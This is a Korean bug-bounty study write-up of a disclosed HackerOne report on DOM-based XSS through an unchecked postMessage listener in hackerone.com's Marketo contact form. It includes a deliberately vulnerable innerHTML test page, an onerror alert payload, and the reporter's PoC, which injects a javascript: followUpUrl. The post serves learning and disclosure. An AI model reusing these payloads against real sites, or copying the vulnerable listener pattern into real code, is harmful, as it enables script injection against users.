버그바운티(Bug Bounty) Write-up / DOM Based XSS ($500)
Security/BugBounty Study

버그바운티(Bug Bounty) Write-up / DOM Based XSS ($500)

https://hackerone.com/reports/398054

 

HackerOne disclosed on HackerOne: DOM Based XSS in...

**Summary:** The Marketo contact form available on the www.hackerone.com website is affected by a cross-site scripting vulnerability, caused by an insecure 'message' event listener installed on the page. Whilst this could allow an attacker to execute JavaS

hackerone.com


DOM Based XSS - $500

작성자는 DOM Based XSS를 발생시켰고, 바운티로 500달러를 받았다고 합니다. 이 건도 특이한데요. 홈페이지 내 사용된 자바스크립트를 분석하여 postMessage를 사용하는 부분을 발견하였고, 해당 부분에 사용자 입력값 검증을 하지 않아서 문제가 발생했습니다.

먼저 postMessage 함수에서 입력값 검증이 없다면 어떻게 문제가 발생되는지 테스트페이지를 통해 알아보겠습니다. 테스트페이지는 https://www.hahwul.com/2016/08/web-hacking-html5-postmessage-api.html 를 참고 하였습니다. 

postMessage 함수란 크로스 도메인간 데이터 송/수신을 할 때 사용합니다. 쉽게 말해서 웹페이지 끼리 데이터를 주고 받을 때 사용합니다. 

 

test.html - 수신자 페이지

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!DOCTYPE html>
<html>
<head>수신자 페이지</head>
<body>Message<br>
    <div id="message">
    </div>
</body>
</html>
<script type="text/javascript">
    window.onmessage = function(e){
        document.getElementById("message").innerHTML += e.data;
        // 데이터를 받아서 뿌려줍니다.
    }
</script>
cs

 

웹페이지 끼리의 데이터 송수신을 하려면 두개의 페이지가 필요하겠죠? 먼저 수신자 페이지를 만들어 줍니다.

 

test2.html - 송신자 페이지

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html>
<head>송신자 페이지</head>
<body>
<button onclick="sendMessage();">보내기</button>
<iframe id="test" src="test.html" width="200" height="100"></iframe>
</body>
</html>
<script type="text/javascript">
    function sendMessage(){
        var dest = document.getElementById("test");
        dest.contentWindow.postMessage("<b>Parent : Message</b>","*");
        // contentWindow - iframe 으로 생성된 window에 접근
    }
</script>
 
cs

송신자 페이지도 만들어 주었습니다. 버튼을 누르게되면 postMessage를 통하여 iframe으로 생성된 수신자 페이지로 메세지가 전송됩니다. 한번 전송해 보겠습니다.

 

test2.html

정상적으로 메세지가 수신됨을 알 수 있습니다. 이렇게 간단하게 두 페이지간의 메세지처리를 postMessage 함수를 이용하여 할 수 있는데요. 여기서 송신자가 전송하는 메세지를 아무런 검증없이 innerHTML 을 통하여 웹에 뿌려주고 있기때문에 문제가 발생합니다. 공격코드를 한번 작성해 보겠습니다.

attack.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html>
<head>송신자 페이지</head>
<body>
<button onclick="sendMessage();">보내기</button>
<iframe id="test" src="test.html" width="200" height="100"></iframe>
</body>
</html>
<script type="text/javascript">
    function sendMessage(){
        var dest = document.getElementById("test");
        dest.contentWindow.postMessage("<b>Parent : Message</b><img src='x' onerror=alert(1)>");
        // contentWindow - iframe 으로 생성된 window에 접근
    }
</script>
 
cs

전송되는 메세지로 <img src='x' onerror=alert(1)> 라는 스크립트를 삽입해 주었습니다. 현재 입력값에한 검증이 없기 때문에 XSS 공격이 성공하게 되겠죠.

attack.html

보내기 버튼을 누르자마자 공격자의 스크립트가 발생했습니다. 성공입니다. 이런식으로 postMessage를 공략하여 XSS를 발생시킬 수 있습니다.


다시 리포트로 돌아와서 이 작성자도 마찬가지로 postMessage를 발견하였고, 입력값에 대한 검증이 없는것을 발견했습니다. 

Marketo forms2.js 에서 문제가 발생했는데요. 코드를 보겠습니다.

onMessage()

onMessage 로 postMessage를 처리해주는 함수가 있습니다. 여기서 mktoResponse 가 true면 onResponse가 호출됩니다.

onResponse

onResponse가 호출된 뒤에, mktoResponse.error 가 false 라면 success 함수를 호출하는데요.

success

사용자의 입력값으로 받은 JSON 데이터 중 findCorrectFollowUpUrl 라는 키값에서 데이터를 뽑아서 그대로 검증없이 location.herf 로 넘겨주고 있습니다. 여기서 문제가 발생했습니다. URL 부분에 공격자의 코드를 postMessage로 넘겨주게되면 XSS가 성공하게 되겠습니다. 이분이 작성한 PoC 코드를 보겠습니다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<!DOCTYPE html>
<html>
    <head>
        <title>Hackerone PostMessage XSS</title>
    </head>
    <body>
        <p>You want to contact Hackerone! Click this button and submit the form!</p>
        <button id="openH1">Click Here</button>
        <script>
            var h1Win;
 
            function openWin(){
                h1Win = window.open("https://www.hackerone.com/#contact/");
                setInterval(sendMessage, 250);
            }
 
            function sendMessage(){
                h1Win.postMessage('{"mktoResponse":{"for":"mktoFormMessage0","error":false,"data":{"formId":"1013","followUpUrl":"javascript:alert(document.domain);//","aliId":17144124}}}',"*");
            }
 
            document.getElementById("openH1").addEventListener('click', openWin);
        </script>
    </body>
</html>
cs

위에서 보았던 예제코드랑 동일합니다. postMessage를 받기위해서 h1Win이라는 변수를 선언하고 해커원 페이지를 열어주었습니다. 그다음 postMessage함수를 사용해 위의 테스트페이지에서 한것처럼 취약점이 있는 followUpUrl 이라는 부분에 공격코드를 주입했습니다.

https://hackerone.com/reports/398054

그 결과로 이렇게 공격자의 코드가 정상적으로 실행되는 것을 확인하였습니다.